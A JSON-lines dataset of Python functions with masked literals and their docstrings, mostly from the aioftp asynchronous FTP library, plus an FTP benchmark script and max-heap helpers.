{"signature": "async def download(self, source, destination=\"<STR_LIT>\", *, write_into=False,<EOL>block_size=DEFAULT_BLOCK_SIZE):", "body": "source = pathlib.PurePosixPath(source)<EOL>destination = pathlib.Path(destination)<EOL>if not write_into:<EOL><INDENT>destination = destination / source.name<EOL><DEDENT>if await self.is_file(source):<EOL><INDENT>await self.path_io.mkdir(destination.parent,<EOL>parents=True, exist_ok=True)<EOL>async with self.path_io.open(destination, mode=\"<STR_LIT:wb>\") as file_out,self.download_stream(source) as stream:<EOL><INDENT>async for block in stream.iter_by_block(block_size):<EOL><INDENT>await file_out.write(block)<EOL><DEDENT><DEDENT><DEDENT>elif await self.is_dir(source):<EOL><INDENT>await self.path_io.mkdir(destination, parents=True, exist_ok=True)<EOL>for name, info in (await self.list(source)):<EOL><INDENT>full = destination / name.relative_to(source)<EOL>if info[\"<STR_LIT:type>\"] in (\"<STR_LIT:file>\", \"<STR_LIT>\"):<EOL><INDENT>await self.download(name, full, write_into=True,<EOL>block_size=block_size)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nHigh level download method for downloading files and directories\nrecursively and save them to the file system.\n\n:param source: source path of file or directory on server side\n:type source: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:param destination: destination path of file or directory on client\n    side\n:type destination: :py:class:`str` or :py:class:`pathlib.Path`\n\n:param write_into: write source into destination (if you want download\n    file and change it name, as well with directories)\n:type write_into: :py:class:`bool`\n\n:param block_size: block size for transaction\n:type block_size: :py:class:`int`", "id": "f9225:c3:m18"}
{"signature": "async def quit(self):", "body": "await self.command(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>self.close()<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nSend \"QUIT\" and close connection.", "id": "f9225:c3:m19"}
{"signature": "async def get_passive_connection(self, conn_type=\"<STR_LIT:I>\",<EOL>commands=(\"<STR_LIT>\", \"<STR_LIT>\")):", "body": "functions = {<EOL>\"<STR_LIT>\": self._do_epsv,<EOL>\"<STR_LIT>\": self._do_pasv,<EOL>}<EOL>if not commands:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>await self.command(\"<STR_LIT>\" + conn_type, \"<STR_LIT>\")<EOL>for i, name in enumerate(commands, start=<NUM_LIT:1>):<EOL><INDENT>name = name.lower()<EOL>if name not in functions:<EOL><INDENT>raise ValueError(f\"<STR_LIT>\")<EOL><DEDENT>try:<EOL><INDENT>ip, port = await functions[name]()<EOL>break<EOL><DEDENT>except errors.StatusCodeError as e:<EOL><INDENT>is_last = i == len(commands)<EOL>if is_last or not e.received_codes[-<NUM_LIT:1>].matches(\"<STR_LIT>\"):<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT>if ip in (\"<STR_LIT>\", None):<EOL><INDENT>ip = self.server_host<EOL><DEDENT>reader, writer = await open_connection(<EOL>ip,<EOL>port,<EOL>self.create_connection,<EOL>self.ssl,<EOL>)<EOL>return reader, writer<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nGetting pair of reader, writer for passive connection with server.\n\n:param conn_type: connection type (\"I\", \"A\", \"E\", \"L\")\n:type conn_type: :py:class:`str`\n\n:param commands: sequence of commands to try to initiate passive\n    server creation. First success wins. Default is EPSV, then PASV.\n:type commands: :py:class:`list`\n\n:rtype: (:py:class:`asyncio.StreamReader`,\n    :py:class:`asyncio.StreamWriter`)", "id": "f9225:c3:m22"}
{"signature": "@async_enterable<EOL><INDENT>async def get_stream(self, *command_args, conn_type=\"<STR_LIT:I>\", offset=<NUM_LIT:0>):<DEDENT>", "body": "reader, writer = await self.get_passive_connection(conn_type)<EOL>if offset:<EOL><INDENT>await self.command(\"<STR_LIT>\" + str(offset), \"<STR_LIT>\")<EOL><DEDENT>await self.command(*command_args)<EOL>stream = DataConnectionThrottleStreamIO(<EOL>self,<EOL>reader,<EOL>writer,<EOL>throttles={\"<STR_LIT:_>\": self.throttle},<EOL>timeout=self.socket_timeout,<EOL>)<EOL>return stream<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nCreate :py:class:`aioftp.DataConnectionThrottleStreamIO` for straight\nread/write io.\n\n:param command_args: arguments for :py:meth:`aioftp.Client.command`\n\n:param conn_type: connection type (\"I\", \"A\", \"E\", \"L\")\n:type conn_type: :py:class:`str`\n\n:param offset: byte offset for stream start position\n:type offset: :py:class:`int`\n\n:rtype: :py:class:`aioftp.DataConnectionThrottleStreamIO`", "id": "f9225:c3:m23"}
{"signature": "async def abort(self, *, wait=True):", "body": "if wait:<EOL><INDENT>await self.command(\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>await self.command(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nRequest data transfer abort.\n\n:param wait: wait for abort response [426]\u2192226 if `True`\n:type wait: :py:class:`bool`", "id": "f9225:c3:m24"}
{"signature": "def worker(f):", "body": "@functools.wraps(f)<EOL>async def wrapper(cls, connection, rest):<EOL><INDENT>try:<EOL><INDENT>await f(cls, connection, rest)<EOL><DEDENT>except asyncio.CancelledError:<EOL><INDENT>connection.response(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>connection.response(\"<STR_LIT>\", \"<STR_LIT>\")<EOL><DEDENT><DEDENT>return wrapper<EOL>", "docstring": "Decorator. Abortable worker. If wrapped task will be cancelled by\ndispatcher, decorator will send ftp codes of successful interrupt.\n\n::\n\n    >>> @worker\n    ... async def worker(self, connection, rest):\n    ...     ...", "id": "f9227:m0"}
{"signature": "def get_permissions(self, path):", "body": "path = pathlib.PurePosixPath(path)<EOL>parents = filter(lambda p: p.is_parent(path), self.permissions)<EOL>perm = min(<EOL>parents,<EOL>key=lambda p: len(path.relative_to(p.path).parts),<EOL>default=Permission(),<EOL>)<EOL>return perm<EOL>", "docstring": "Return nearest parent permission for `path`.\n\n:param path: path which permission you want to know\n:type path: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:rtype: :py:class:`aioftp.Permission`", "id": "f9227:c1:m1"}
{"signature": "@abc.abstractmethod<EOL><INDENT>async def get_user(self, login):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nGet user and response for USER call\n\n:param login: user's login\n:type login: :py:class:`str`", "id": "f9227:c2:m1"}
{"signature": "@abc.abstractmethod<EOL><INDENT>async def authenticate(self, user, password):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nCheck if user can be authenticated with provided password\n\n:param user: user\n:type user: :py:class:`aioftp.User`\n\n:param password: password\n:type password: :py:class:`str`\n\n:rtype: :py:class:`bool`", "id": "f9227:c2:m2"}
{"signature": "async def notify_logout(self, user):", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nCalled when user connection is closed if user was initiated\n\n:param user: user\n:type user: :py:class:`aioftp.User`", "id": "f9227:c2:m3"}
{"signature": "def locked(self):", "body": "return self.value == <NUM_LIT:0><EOL>", "docstring": "Returns True if semaphore-like can not be acquired.\n\n:rtype: :py:class:`bool`", "id": "f9227:c5:m1"}
{"signature": "def acquire(self):", "body": "if self.value is not None:<EOL><INDENT>self.value -= <NUM_LIT:1><EOL>if self.value < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Acquire, decrementing the internal counter by one.", "id": "f9227:c5:m2"}
{"signature": "def release(self):", "body": "if self.value is not None:<EOL><INDENT>self.value += <NUM_LIT:1><EOL>if self.value > self.maximum_value:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Release, incrementing the internal counter by one.", "id": "f9227:c5:m3"}
{"signature": "async def start(self, host=None, port=<NUM_LIT:0>, **kwargs):", "body": "self._start_server_extra_arguments = kwargs<EOL>self.connections = {}<EOL>self.server_host = host<EOL>self.server_port = port<EOL>self.server = await asyncio.start_server(<EOL>self.dispatcher,<EOL>host,<EOL>port,<EOL>ssl=self.ssl,<EOL>**self._start_server_extra_arguments,<EOL>)<EOL>for sock in self.server.sockets:<EOL><INDENT>if sock.family in (socket.AF_INET, socket.AF_INET6):<EOL><INDENT>host, port, *_ = sock.getsockname()<EOL>if not self.server_port:<EOL><INDENT>self.server_port = port<EOL><DEDENT>if not self.server_host:<EOL><INDENT>self.server_host = host<EOL><DEDENT>logger.info(\"<STR_LIT>\", host, port)<EOL><DEDENT><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nStart server.\n\n:param host: ip address to bind for listening.\n:type host: :py:class:`str`\n\n:param port: port number to bind for listening.\n:type port: :py:class:`int`\n\n:param kwargs: keyword arguments, they passed to\n    :py:func:`asyncio.start_server`", "id": "f9227:c6:m0"}
{"signature": "@property<EOL><INDENT>def address(self):<DEDENT>", "body": "return self.server_host, self.server_port<EOL>", "docstring": "Server listen socket host and port as :py:class:`tuple`", "id": "f9227:c6:m1"}
{"signature": "async def close(self):", "body": "self.server.close()<EOL>tasks = [self.server.wait_closed()]<EOL>for connection in self.connections.values():<EOL><INDENT>connection._dispatcher.cancel()<EOL>tasks.append(connection._dispatcher)<EOL><DEDENT>logger.info(\"<STR_LIT>\", len(tasks))<EOL>await asyncio.wait(tasks)<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nShutdown the server and close all connections.", "id": "f9227:c6:m2"}
{"signature": "async def write_response(self, stream, code, lines=\"<STR_LIT>\", list=False):", "body": "lines = wrap_with_container(lines)<EOL>write = functools.partial(self.write_line, stream)<EOL>if list:<EOL><INDENT>head, *body, tail = lines<EOL>await write(code + \"<STR_LIT:->\" + head)<EOL>for line in body:<EOL><INDENT>await write(\"<STR_LIT:U+0020>\" + line)<EOL><DEDENT>await write(code + \"<STR_LIT:U+0020>\" + tail)<EOL><DEDENT>else:<EOL><INDENT>*body, tail = lines<EOL>for line in body:<EOL><INDENT>await write(code + \"<STR_LIT:->\" + line)<EOL><DEDENT>await write(code + \"<STR_LIT:U+0020>\" + tail)<EOL><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nComplex method for sending response.\n\n:param stream: command connection stream\n:type stream: :py:class:`aioftp.StreamIO`\n\n:param code: server response code\n:type code: :py:class:`str`\n\n:param lines: line or lines, which are response information\n:type lines: :py:class:`str` or :py:class:`collections.Iterable`\n\n:param list: if true, then lines will be sended without code prefix.\n    This is useful for **LIST** FTP command and some others.\n:type list: :py:class:`bool`", "id": "f9227:c6:m4"}
{"signature": "async def parse_command(self, stream):", "body": "line = await stream.readline()<EOL>if not line:<EOL><INDENT>raise ConnectionResetError<EOL><DEDENT>s = line.decode(encoding=self.encoding).rstrip()<EOL>logger.info(s)<EOL>cmd, _, rest = s.partition(\"<STR_LIT:U+0020>\")<EOL>return cmd.lower(), rest<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nComplex method for getting command.\n\n:param stream: connection steram\n:type stream: :py:class:`asyncio.StreamIO`\n\n:return: (code, rest)\n:rtype: (:py:class:`str`, :py:class:`str`)", "id": "f9227:c6:m5"}
{"signature": "async def response_writer(self, stream, response_queue):", "body": "while True:<EOL><INDENT>args = await response_queue.get()<EOL>try:<EOL><INDENT>await self.write_response(stream, *args)<EOL><DEDENT>finally:<EOL><INDENT>response_queue.task_done()<EOL><DEDENT><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nWorker for write_response with current connection. Get data to response\nfrom queue, this is for right order of responses. Exits if received\n:py:class:`None`.\n\n:param stream: command connection stream\n:type connection: :py:class:`aioftp.StreamIO`\n\n:param response_queue:\n:type response_queue: :py:class:`asyncio.Queue`", "id": "f9227:c6:m6"}
{"signature": "@abc.abstractmethod<EOL><INDENT>async def dispatcher(self, reader, writer):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nServer connection handler (main routine per user).", "id": "f9227:c6:m7"}
{"signature": "def get_paths(self, connection, path):", "body": "virtual_path = pathlib.PurePosixPath(path)<EOL>if not virtual_path.is_absolute():<EOL><INDENT>virtual_path = connection.current_directory / virtual_path<EOL><DEDENT>resolved_virtual_path = pathlib.PurePosixPath(\"<STR_LIT:/>\")<EOL>for part in virtual_path.parts[<NUM_LIT:1>:]:<EOL><INDENT>if part == \"<STR_LIT:..>\":<EOL><INDENT>resolved_virtual_path = resolved_virtual_path.parent<EOL><DEDENT>else:<EOL><INDENT>resolved_virtual_path /= part<EOL><DEDENT><DEDENT>base_path = connection.user.base_path<EOL>real_path = base_path / resolved_virtual_path.relative_to(\"<STR_LIT:/>\")<EOL>return real_path, resolved_virtual_path<EOL>", "docstring": "Return *real* and *virtual* paths, resolves \"..\" with \"up\" action.\n*Real* path is path for path_io, when *virtual* deals with\n\"user-view\" and user requests\n\n:param connection: internal options for current connected user\n:type connection: :py:class:`dict`\n\n:param path: received path from user\n:type path: :py:class:`str` or :py:class:`pathlib.PurePosixPath`\n\n:return: (real_path, virtual_path)\n:rtype: (:py:class:`pathlib.Path`, :py:class:`pathlib.PurePosixPath`)", "id": "f9227:c10:m2"}
{"signature": "async def syst(self, connection, rest):", "body": "connection.response(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>return True<EOL>", "docstring": "Return system type (always returns UNIX type: L8).", "id": "f9227:c10:m32"}
{"signature": "def with_timeout(name):", "body": "if isinstance(name, str):<EOL><INDENT>return _with_timeout(name)<EOL><DEDENT>else:<EOL><INDENT>return _with_timeout(\"<STR_LIT>\")(name)<EOL><DEDENT>", "docstring": "Method decorator, wraps method with :py:func:`asyncio.wait_for`. `timeout`\nargument takes from `name` decorator argument or \"timeout\".\n\n:param name: name of timeout attribute\n:type name: :py:class:`str`\n\n:raises asyncio.TimeoutError: if coroutine does not finished in timeout\n\nWait for `self.timeout`\n::\n\n    >>> def __init__(self, ...):\n    ...\n    ...     self.timeout = 1\n    ...\n    ... @with_timeout\n    ... async def foo(self, ...):\n    ...\n    ...     pass\n\nWait for custom timeout\n::\n\n    >>> def __init__(self, ...):\n    ...\n    ...     self.foo_timeout = 1\n    ...\n    ... @with_timeout(\"foo_timeout\")\n    ... async def foo(self, ...):\n    ...\n    ...     pass", "id": "f9228:m2"}
{"signature": "def async_enterable(f):", "body": "@functools.wraps(f)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>class AsyncEnterableInstance:<EOL><INDENT>async def __aenter__(self):<EOL><INDENT>self.context = await f(*args, **kwargs)<EOL>return await self.context.__aenter__()<EOL><DEDENT>async def __aexit__(self, *args, **kwargs):<EOL><INDENT>await self.context.__aexit__(*args, **kwargs)<EOL><DEDENT>def __await__(self):<EOL><INDENT>return f(*args, **kwargs).__await__()<EOL><DEDENT><DEDENT>return AsyncEnterableInstance()<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator. Bring coroutine result up, so it can be used as async context\n\n::\n\n    >>> async def foo():\n    ...\n    ...     ...\n    ...     return AsyncContextInstance(...)\n    ...\n    ... ctx = await foo()\n    ... async with ctx:\n    ...\n    ...     # do\n\n::\n\n    >>> @async_enterable\n    ... async def foo():\n    ...\n    ...     ...\n    ...     return AsyncContextInstance(...)\n    ...\n    ... async with foo() as ctx:\n    ...\n    ...     # do\n    ...\n    ... ctx = await foo()\n    ... async with ctx:\n    ...\n    ...     # do", "id": "f9228:m3"}
{"signature": "@contextmanager<EOL>def setlocale(name):", "body": "with LOCALE_LOCK:<EOL><INDENT>old_locale = locale.setlocale(locale.LC_ALL)<EOL>try:<EOL><INDENT>yield locale.setlocale(locale.LC_ALL, name)<EOL><DEDENT>finally:<EOL><INDENT>locale.setlocale(locale.LC_ALL, old_locale)<EOL><DEDENT><DEDENT>", "docstring": "Context manager with threading lock for set locale on enter, and set it\nback to original state on exit.\n\n::\n\n    >>> with setlocale(\"C\"):\n    ...     ...", "id": "f9228:m5"}
{"signature": "@with_timeout<EOL><INDENT>@abc.abstractmethod<EOL>async def __anext__(self):<DEDENT>", "body": "", "docstring": ":py:func:`asyncio.coroutine`\n\nAbstract method", "id": "f9228:c2:m2"}
{"signature": "@with_timeout(\"<STR_LIT>\")<EOL><INDENT>async def readline(self):<DEDENT>", "body": "return await self.reader.readline()<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nProxy for :py:meth:`asyncio.StreamReader.readline`.", "id": "f9228:c3:m1"}
{"signature": "@with_timeout(\"<STR_LIT>\")<EOL><INDENT>async def read(self, count=-<NUM_LIT:1>):<DEDENT>", "body": "return await self.reader.read(count)<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nProxy for :py:meth:`asyncio.StreamReader.read`.\n\n:param count: block size for read operation\n:type count: :py:class:`int`", "id": "f9228:c3:m2"}
{"signature": "@with_timeout(\"<STR_LIT>\")<EOL><INDENT>async def write(self, data):<DEDENT>", "body": "self.writer.write(data)<EOL>await self.writer.drain()<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\nCombination of :py:meth:`asyncio.StreamWriter.write` and\n:py:meth:`asyncio.StreamWriter.drain`.\n\n:param data: data to write\n:type data: :py:class:`bytes`", "id": "f9228:c3:m3"}
{"signature": "def close(self):", "body": "self.writer.close()<EOL>", "docstring": "Close connection.", "id": "f9228:c3:m4"}
{"signature": "async def wait(self):", "body": "if self._limit is not None and self._limit > <NUM_LIT:0> andself._start is not None:<EOL><INDENT>now = _now()<EOL>end = self._start + self._sum / self._limit<EOL>await asyncio.sleep(max(<NUM_LIT:0>, end - now))<EOL><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nWait until can do IO", "id": "f9228:c4:m1"}
{"signature": "def append(self, data, start):", "body": "if self._limit is not None and self._limit > <NUM_LIT:0>:<EOL><INDENT>if self._start is None:<EOL><INDENT>self._start = start<EOL><DEDENT>if start - self._start > self.reset_rate:<EOL><INDENT>self._sum -= round((start - self._start) * self._limit)<EOL>self._start = start<EOL><DEDENT>self._sum += len(data)<EOL><DEDENT>", "docstring": "Count `data` for throttle\n\n:param data: bytes of data for count\n:type data: :py:class:`bytes`\n\n:param start: start of read/write time from\n    :py:meth:`asyncio.BaseEventLoop.time`\n:type start: :py:class:`float`", "id": "f9228:c4:m2"}
{"signature": "@property<EOL><INDENT>def limit(self):<DEDENT>", "body": "return self._limit<EOL>", "docstring": "Throttle limit", "id": "f9228:c4:m3"}
{"signature": "@limit.setter<EOL><INDENT>def limit(self, value):<DEDENT>", "body": "self._limit = value<EOL>self._start = None<EOL>self._sum = <NUM_LIT:0><EOL>", "docstring": "Set throttle limit\n\n:param value: bytes per second\n:type value: :py:class:`int` or :py:class:`None`", "id": "f9228:c4:m4"}
{"signature": "def clone(self):", "body": "return Throttle(limit=self._limit, reset_rate=self.reset_rate)<EOL>", "docstring": "Clone throttle without memory", "id": "f9228:c4:m5"}
{"signature": "def clone(self):", "body": "return StreamThrottle(<EOL>read=self.read.clone(),<EOL>write=self.write.clone()<EOL>)<EOL>", "docstring": "Clone throttles without memory", "id": "f9228:c5:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_limits(cls, read_speed_limit=None, write_speed_limit=None):<DEDENT>", "body": "return cls(read=Throttle(limit=read_speed_limit),<EOL>write=Throttle(limit=write_speed_limit))<EOL>", "docstring": "Simple wrapper for creation :py:class:`aioftp.StreamThrottle`\n\n:param read_speed_limit: stream read speed limit in bytes or\n    :py:class:`None` for unlimited\n:type read_speed_limit: :py:class:`int` or :py:class:`None`\n\n:param write_speed_limit: stream write speed limit in bytes or\n    :py:class:`None` for unlimited\n:type write_speed_limit: :py:class:`int` or :py:class:`None`", "id": "f9228:c5:m1"}
{"signature": "async def wait(self, name):", "body": "waiters = []<EOL>for throttle in self.throttles.values():<EOL><INDENT>curr_throttle = getattr(throttle, name)<EOL>if curr_throttle.limit:<EOL><INDENT>waiters.append(curr_throttle.wait())<EOL><DEDENT><DEDENT>if waiters:<EOL><INDENT>await asyncio.wait(waiters)<EOL><DEDENT>", "docstring": ":py:func:`asyncio.coroutine`\n\nWait for all throttles\n\n:param name: name of throttle to acquire (\"read\" or \"write\")\n:type name: :py:class:`str`", "id": "f9228:c6:m1"}
{"signature": "def append(self, name, data, start):", "body": "for throttle in self.throttles.values():<EOL><INDENT>getattr(throttle, name).append(data, start)<EOL><DEDENT>", "docstring": "Update timeout for all throttles\n\n:param name: name of throttle to append to (\"read\" or \"write\")\n:type name: :py:class:`str`\n\n:param data: bytes of data for count\n:type data: :py:class:`bytes`\n\n:param start: start of read/write time from\n    :py:meth:`asyncio.BaseEventLoop.time`\n:type start: :py:class:`float`", "id": "f9228:c6:m2"}
{"signature": "async def read(self, count=-<NUM_LIT:1>):", "body": "await self.wait(\"<STR_LIT>\")<EOL>start = _now()<EOL>data = await super().read(count)<EOL>self.append(\"<STR_LIT>\", data, start)<EOL>return data<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\n:py:meth:`aioftp.StreamIO.read` proxy", "id": "f9228:c6:m3"}
{"signature": "async def readline(self):", "body": "await self.wait(\"<STR_LIT>\")<EOL>start = _now()<EOL>data = await super().readline()<EOL>self.append(\"<STR_LIT>\", data, start)<EOL>return data<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\n:py:meth:`aioftp.StreamIO.readline` proxy", "id": "f9228:c6:m4"}
{"signature": "async def write(self, data):", "body": "await self.wait(\"<STR_LIT>\")<EOL>start = _now()<EOL>await super().write(data)<EOL>self.append(\"<STR_LIT>\", data, start)<EOL>", "docstring": ":py:func:`asyncio.coroutine`\n\n:py:meth:`aioftp.StreamIO.write` proxy", "id": "f9228:c6:m5"}
{"signature": "def iter_by_line(self):", "body": "return AsyncStreamIterator(self.readline)<EOL>", "docstring": "Read/iterate stream by line.\n\n:rtype: :py:class:`aioftp.AsyncStreamIterator`\n\n::\n\n    >>> async for line in stream.iter_by_line():\n    ...     ...", "id": "f9228:c6:m8"}
{"signature": "def iter_by_block(self, count=DEFAULT_BLOCK_SIZE):", "body": "return AsyncStreamIterator(lambda: self.read(count))<EOL>", "docstring": "Read/iterate stream by block.\n\n:rtype: :py:class:`aioftp.AsyncStreamIterator`\n\n::\n\n    >>> async for block in stream.iter_by_block(block_size):\n    ...     ...", "id": "f9228:c6:m9"}
{"signature": "def bytes2human(n, format=\"<STR_LIT>\"):", "body": "symbols = ('<STR_LIT:B>', '<STR_LIT>', '<STR_LIT:M>', '<STR_LIT>', '<STR_LIT:T>', '<STR_LIT:P>', '<STR_LIT:E>', '<STR_LIT>', '<STR_LIT:Y>')<EOL>prefix = {}<EOL>for i, s in enumerate(symbols[<NUM_LIT:1>:]):<EOL><INDENT>prefix[s] = <NUM_LIT:1> << (i + <NUM_LIT:1>) * <NUM_LIT:10><EOL><DEDENT>for symbol in reversed(symbols[<NUM_LIT:1>:]):<EOL><INDENT>if n >= prefix[symbol]:<EOL><INDENT>value = float(n) / prefix[symbol]<EOL>return format % locals()<EOL><DEDENT><DEDENT>return format % dict(symbol=symbols[<NUM_LIT:0>], value=n)<EOL>", "docstring": ">>> bytes2human(10000)\n'9K'\n>>> bytes2human(100001221)\n'95M'", "id": "f9248:m1"}
{"signature": "def human2bytes(s):", "body": "symbols = ('<STR_LIT:B>', '<STR_LIT>', '<STR_LIT:M>', '<STR_LIT>', '<STR_LIT:T>', '<STR_LIT:P>', '<STR_LIT:E>', '<STR_LIT>', '<STR_LIT:Y>')<EOL>letter = s[-<NUM_LIT:1>:].strip().upper()<EOL>num = s[:-<NUM_LIT:1>]<EOL>assert num.isdigit() and letter in symbols, s<EOL>num = float(num)<EOL>prefix = {symbols[<NUM_LIT:0>]: <NUM_LIT:1>}<EOL>for i, s in enumerate(symbols[<NUM_LIT:1>:]):<EOL><INDENT>prefix[s] = <NUM_LIT:1> << (i + <NUM_LIT:1>) * <NUM_LIT:10><EOL><DEDENT>return int(num * prefix[letter])<EOL>", "docstring": ">>> human2bytes('1M')\n1048576\n>>> human2bytes('1G')\n1073741824", "id": "f9248:m2"}
{"signature": "def register_memory():", "body": "<EOL>def get_mem(proc):<EOL><INDENT>if os.name == '<STR_LIT>':<EOL><INDENT>mem = proc.memory_info_ex()<EOL>counter = mem.rss<EOL>if '<STR_LIT>' in mem._fields:<EOL><INDENT>counter -= mem.shared<EOL><DEDENT>return counter<EOL><DEDENT>else:<EOL><INDENT>return proc.get_memory_info().rss<EOL><DEDENT><DEDENT>if SERVER_PROC is not None:<EOL><INDENT>mem = get_mem(SERVER_PROC)<EOL>for child in SERVER_PROC.children():<EOL><INDENT>mem += get_mem(child)<EOL><DEDENT>server_memory.append(bytes2human(mem))<EOL><DEDENT>", "docstring": "Register an approximation of memory used by FTP server process\n    and all of its children.", "id": "f9248:m3"}
{"signature": "def timethis(what):", "body": "@contextlib.contextmanager<EOL>def benchmark():<EOL><INDENT>timer = time.clock if sys.platform == \"<STR_LIT:win32>\" else time.time<EOL>start = timer()<EOL>yield<EOL>stop = timer()<EOL>res = (stop - start)<EOL>print_bench(what, res, \"<STR_LIT>\")<EOL><DEDENT>if hasattr(what, \"<STR_LIT>\"):<EOL><INDENT>def timed(*args, **kwargs):<EOL><INDENT>with benchmark():<EOL><INDENT>return what(*args, **kwargs)<EOL><DEDENT><DEDENT>return timed<EOL><DEDENT>else:<EOL><INDENT>return benchmark()<EOL><DEDENT>", "docstring": "Utility function for making simple benchmarks (calculates time calls).\n    It can be used either as a context manager or as a decorator.", "id": "f9248:m4"}
{"signature": "def connect():", "body": "ftp_class = ftplib.FTP if not SSL else ftplib.FTP_TLS<EOL>ftp = ftp_class(timeout=TIMEOUT)<EOL>ftp.connect(HOST, PORT)<EOL>ftp.login(USER, PASSWORD)<EOL>if SSL:<EOL><INDENT>ftp.prot_p()  <EOL><DEDENT>return ftp<EOL>", "docstring": "Connect to FTP server, login and return an ftplib.FTP instance.", "id": "f9248:m5"}
{"signature": "def retr(ftp):", "body": "ftp.voidcmd('<STR_LIT>')<EOL>with contextlib.closing(ftp.transfercmd(\"<STR_LIT>\" + TESTFN)) as conn:<EOL><INDENT>recv_bytes = <NUM_LIT:0><EOL>while True:<EOL><INDENT>data = conn.recv(BUFFER_LEN)<EOL>if not data:<EOL><INDENT>break<EOL><DEDENT>recv_bytes += len(data)<EOL><DEDENT><DEDENT>ftp.voidresp()<EOL>", "docstring": "Same as ftplib's retrbinary() but discard the received data.", "id": "f9248:m6"}
{"signature": "def stor(ftp=None):", "body": "if ftp is None:<EOL><INDENT>ftp = connect()<EOL>quit = True<EOL><DEDENT>else:<EOL><INDENT>quit = False<EOL><DEDENT>ftp.voidcmd('<STR_LIT>')<EOL>with contextlib.closing(ftp.transfercmd(\"<STR_LIT>\" + TESTFN)) as conn:<EOL><INDENT>chunk = b'<STR_LIT:x>' * BUFFER_LEN<EOL>total_sent = <NUM_LIT:0><EOL>while True:<EOL><INDENT>sent = conn.send(chunk)<EOL>total_sent += sent<EOL>if total_sent >= FILE_SIZE:<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>ftp.voidresp()<EOL>if quit:<EOL><INDENT>ftp.quit()<EOL><DEDENT>return ftp<EOL>", "docstring": "Same as ftplib's storbinary() but just sends dummy data\n    instead of reading it from a real file.", "id": "f9248:m7"}
{"signature": "def bytes_per_second(ftp, retr=True):", "body": "tot_bytes = <NUM_LIT:0><EOL>if retr:<EOL><INDENT>def request_file():<EOL><INDENT>ftp.voidcmd('<STR_LIT>')<EOL>conn = ftp.transfercmd(\"<STR_LIT>\" + TESTFN)<EOL>return conn<EOL><DEDENT>with contextlib.closing(request_file()) as conn:<EOL><INDENT>register_memory()<EOL>stop_at = time.time() + <NUM_LIT:1.0><EOL>while stop_at > time.time():<EOL><INDENT>chunk = conn.recv(BUFFER_LEN)<EOL>if not chunk:<EOL><INDENT>a = time.time()<EOL>ftp.voidresp()<EOL>conn.close()<EOL>conn = request_file()<EOL>stop_at += time.time() - a<EOL><DEDENT>tot_bytes += len(chunk)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>while chunk:<EOL><INDENT>chunk = conn.recv(BUFFER_LEN)<EOL><DEDENT>ftp.voidresp()<EOL>conn.close()<EOL><DEDENT>except (ftplib.error_temp, ftplib.error_perm):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>ftp.voidcmd('<STR_LIT>')<EOL>with contextlib.closing(ftp.transfercmd(\"<STR_LIT>\" + TESTFN)) as conn:<EOL><INDENT>register_memory()<EOL>chunk = b'<STR_LIT:x>' * BUFFER_LEN<EOL>stop_at = time.time() + <NUM_LIT:1><EOL>while stop_at > time.time():<EOL><INDENT>tot_bytes += conn.send(chunk)<EOL><DEDENT><DEDENT>ftp.voidresp()<EOL><DEDENT>return tot_bytes<EOL>", "docstring": "Return the number of bytes transmitted in 1 second.", "id": "f9248:m8"}
{"signature": "def heappop_max(heap):", "body": "lastelt = heap.pop()    <EOL>if heap:<EOL><INDENT>returnitem = heap[<NUM_LIT:0>]<EOL>heap[<NUM_LIT:0>] = lastelt<EOL>_siftup_max(heap, <NUM_LIT:0>)<EOL>return returnitem<EOL><DEDENT>return lastelt<EOL>", "docstring": "Maxheap version of a heappop.", "id": "f9253:m0"}
{"signature": "def heapreplace_max(heap, item):", "body": "returnitem = heap[<NUM_LIT:0>]    <EOL>heap[<NUM_LIT:0>] = item<EOL>_siftup_max(heap, <NUM_LIT:0>)<EOL>return returnitem<EOL>", "docstring": "Maxheap version of a heappop followed by a heappush.", "id": "f9253:m1"}
{"signature": "def heappush_max(heap, item):", "body": "heap.append(item)<EOL>_siftdown_max(heap, <NUM_LIT:0>, len(heap) - <NUM_LIT:1>)<EOL>", "docstring": "Push item onto heap, maintaining the heap invariant.", "id": "f9253:m2"}
